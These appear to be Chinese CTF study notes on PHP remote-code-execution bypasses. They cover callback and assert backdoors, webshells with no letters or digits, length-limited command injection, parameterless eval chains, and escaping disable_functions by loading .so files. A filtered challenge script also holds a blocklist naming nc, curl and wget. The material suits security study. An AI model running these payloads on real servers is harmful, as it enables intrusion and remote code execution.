RCE绕过学习笔记

知识点

php命令执行函数:

system

shell_exec

proc_open

exec

passthru

php代码执行函数:

eval

assert

回调函数:

php 复制代码
<?php
error_reporting(E_ALL);
function increment(&$var)
{
    $var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a."\n";

// it is possible to use this instead
call_user_func_array('increment', array(&$a));
echo $a."\n";
?>

回调函数后门举例:

call_user_func
php 复制代码
call_user_func('system','whoami)

源码:

结果:

assert函数php7.4以后被弃用

蚁剑连接:

为什么会失败:


eval和assert功能看起来一样,到底有什么不同:
php 复制代码
 <?php
 $_GET[0]($_GET[1]);
 ?>

assert:

eval:

原因:

核心:PHP 压根不认 eval 是一个可调用的函数

eval 是语言构造,不是函数

call_user_func_array()
php 复制代码
 call_user_func_array('assert',array($_REQUEST['pass']));
三个参数回调函数:
preg_repalce/e
php 复制代码
 preg_replace("匹配模式","替换内容","原始内容")

/e修饰符 匹配成功后使用eval执行

php 复制代码
 <?php
 ​
 function complex($re, $str) {
   return preg_replace(
    '/(' . $re . ')/ei',
     'strtolower("\\1")',
     $str
   );
 }
 ​
 foreach($_GET as $re => $str) {
   echo complex($re, $str). "\n";
 }
 ​
 function getFlag(){
   @eval($_GET['cmd']);
 }

问题:

  • PHP中命名规则是没有 (. )的,而且一些非法字符是会被替换成 _

  • PHP中双引号包裹的字符串中可以解析变量,而单引号则不行,${phpinfo()}

php7.3及以后无法使用/e

php5.6下:

preg_replace第一个参数使用数组
php 复制代码
 <?php
 preg_replace(['/.*/e'],'\0',$_REQUEST[2])
 ?>

php5.6可用,7.3及以后/e被废弃

分割符也可以是()、<>、{}、[]

可以在多个修饰符间添加换行和空格

curl绕过open_basedir:两种方法

fill协议

加载.so文件

污点追踪:source sink

污点追踪链中断

linux*可作为通配符使用,在输入*后,linux会将该目录下第一个文件名作为命令,剩下的的文件名当作参数

current()函数:

localtime()函数:

复现:

绕 过open_basedir 和 disable_functions

在 php8.3里有一个issue,提到可以用 curl 绕过 open_basedir:https://github.com/php/php-src/issues/16802 但是php8.5 这个poc是打不通的

curl 加载动态库链接本来就能导致 RCE:https://hackerone.com/reports/3293801,通过加载.so文件,不过 php 8.5 里的 curl 已经被修了

SQLite3 : loadExtension 可以加载so文件,但是这个方法限制了加载 so的目录,但 Pdo\Sqlite : loadExtension 也存在可以加载库的方法,文档里似乎没有写配置限制,并且这个方法非常的新,php 8.40以上才有

disable_functions 是 PHP 的配置项,只能用来禁止 PHP 语言层面的内建函数。阻止的是 PHP 解释器执行这些函数。这里相当于用进程空间的 C 层面直接调用了 system() ,所以拦截不了我们

问题:如何上传.so文件:file_put_contents

无字母数字webshell

php7及以前:

源代码:
思路:

通配符:

  • /???/?????????:匹配不够精确,能匹配很多

  • . file执行文件,是不需要file有x权限的

  • 如何匹配大写字母:

ASCII码中大写写字母在@-[之间,正则匹配:[@-[]

复制代码
 eval执行``, `` 执行里面的内容
  • eval内容:
php 复制代码
 ?><?php`. /???/????????[@-[]`;

不能出现php

解决思路:

  • 短标签:
php 复制代码
?><?=`. /???/????????[@-[]`;
完成:

php7:

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持,所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

取反:

(~%8F%97%8F%96%91%99%90)();

结果:

为什么取反结果有数字,还是执行了:

在传入内容后先进行urldecode

有限长度绕过:

php 复制代码
 <?php
 $param = $_REQUEST['param']; If (
 strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
 ) {
 eval($param);
 }

如何突破<17限制

$_GET[1]
php 复制代码
 192.168.17.131/eval.php?param=echo`$_GET[0]`;&0=ps -ef
file_put_contents追加

c语言底层,file_put_contents中file_append对应8

file_put_contents(N,P,8),为什么第一个是P不是<,追加<会报错,<? phpinfo(); base64编码后:PD8gcGhwaW5mbygpOw

复制代码
 192.168.17.131/eval.php?param=include$_GET[1];&1=php://filter/read/convert.base64-decode/resource=N

<8字符限制

php 复制代码
<?php
$param = $_REQUEST['param']; 
If ( strlen($param) < 8 ) {
 echo shell_exec($param);}
复制代码
 . /t*/*

5字符绕过

php 复制代码
 <?php
 error_reporting(0);
 highlight_file(__FILE__);
 if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
 {
     echo shell_exec($_GET['cmd']);
 }
 ?>
复制代码
 echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
 ​
 >dir
 >f\>
 >ht-
 >sl
 *>v
 >rev 
 *v>a
 是为了构造ls -ht > f 前面已经讲过了 f里面的值 ls -ht > f
 >hp
 >p\\
 >1.\\
 >\>\\
 >-d\\
 >\ \\
 >64\\
 >se\\
 >ba\\
 >\|\\
 >\=\\
 >\=\\
 >Ow\\
 >gp\\
 >by\\
 >5m\\
 >aW\\
 >hw\\
 >cG\\
 >Ag\\
 >aH\\
 >9w\\
 >PD\\
 >S}\\
 >IF\\
 >{\\
 >\$\\
 >ho\\
 >ec\\
 文件名 
 ls -ht 
 echo ${IFS} PD9waH
 sh a
 sh f

无参函数的绕过

php 复制代码
 <?php
 if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
     eval($_GET['code']);
 } else {
     show_source(__FILE__);
 }

apache绕过方法:

getallheaders()函数:

抓包修改参数:

nginx绕过方法:

无参读文件

思路:

复制代码
 show_source(array_rand(array_flip(scandir(  xxx  ))));   xxx:利用php函数嵌套返回. 
 如:show_source(array_rand(array_flip(scandir(current(localeconv())))));

nainx/apache命令执行

复制代码
 id=system('whoami');&code=eval(current(current(get_defined_vars())));

rce多重过滤绕过

php 复制代码
 <?php
 //ini_set('open_basedir', '/var/www/html/');
 error_reporting(0);
 if(isset($_POST['cmd'])){
   $cmd = escapeshellcmd($_POST['cmd']); 
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
     system($cmd);
  }
 }
 show_source(__FILE__);
 ?>
复制代码
 php -r system(hex2bin(substr(_77686f616d69,1)));
相关推荐
刘~浪地球1 小时前
MongoDB安全与权限:企业级数据保护
数据库·安全·mongodb
S1998_1997111609•X1 小时前
Phash的系统通信工程及恶意注入污染蜜罐轮替探测阻断正常通讯协议系统的dog 通用原理及行为阻击至联合国管理清理全栈
安全·百度·哈希算法·量子计算·开闭原则
Java成神之路-1 小时前
解析 MyBatis 中 #{} 与 ${}区别及 SQL 注入防范(附 Like/In/Order by 安全写法)
sql·安全·mybatis
xixixi777772 小时前
《从心理诱导突破Claude到AI仿冒直播首张拘留单:AI安全、监管与商用的三重转折点》
大数据·网络·人工智能·安全·ai·大模型·风险
立控信息LKONE2 小时前
门禁机、控制器等库室安防设施、实现库室智能联动,一体报警
大数据·人工智能·安全
@insist1232 小时前
信息安全工程师-内生安全核心技术:白名单与可信计算深度解析
安全·软考·信息安全工程师·软件水平考试
2301_780789662 小时前
2025年服务器漏洞生存指南:从应急响应到长效免疫的实战框架
网络·安全·web安全·架构·ddos
深度智能Ai2 小时前
卡巴斯基:MD5 加密已完全不安全
安全·md5·卡巴斯基
承渊政道2 小时前
Oracle迁移避坑:一个(+)写错,LEFT JOIN可能变INNER JOIN
运维·服务器·数据库·数据仓库·学习·安全·oracle